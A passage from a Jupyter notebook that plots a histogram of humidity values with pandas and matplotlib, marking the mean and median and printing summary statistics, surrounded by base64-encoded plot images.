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"
},
"metadata": {},
"output_type": "display_data"
}
],
"execution_count": 5
},
{
"metadata": {},
"cell_type": "markdown",
"source": "3. Histogram About the Humidity",
"id": "3ecc7ef0d7f89df2"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-21T18:42:11.103124Z",
"start_time": "2025-02-21T18:42:10.364804Z"
}
},
"cell_type": "code",
"source": [
"# Mean/Std/Median\n",
"mean_humidity = df[\"Humidity\"].mean()\n",
"std_humidity = df[\"Humidity\"].std()\n",
"median_humidity = df[\"Humidity\"].median()\n",
"\n",
"plt.figure(figsize=(8, 6))\n",
"plt.hist(df[\"Humidity\"], bins=30, color='skyblue', edgecolor='black', alpha=0.7)\n",
"\n",
"plt.axvline(mean_humidity, color='red', linestyle='dashed', linewidth=2, label=f\"Mean: {mean_humidity:.2f}\")\n",
"plt.axvline(median_humidity, color='green', linestyle='dashed', linewidth=2, label=f\"Median: {median_humidity:.2f}\")\n",
"\n",
"plt.xlabel(\"Humidity (%)\")\n",
"plt.ylabel(\"Frequency\")\n",
"plt.title(\"Histogram of Humidity\")\n",
"plt.legend()\n",
"plt.grid(True)\n",
"plt.show()\n",
"\n",
"print(f\"Mean Humidity: {mean_humidity:.2f}\")\n",
"print(f\"Standard Deviation: {std_humidity:.2f}\")\n",
"print(f\"Median Humidity: {median_humidity:.2f}\")"
],
"id": "67c519c4f607a9cb",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 800x600 with 1 Axes>"
],
"image/png": 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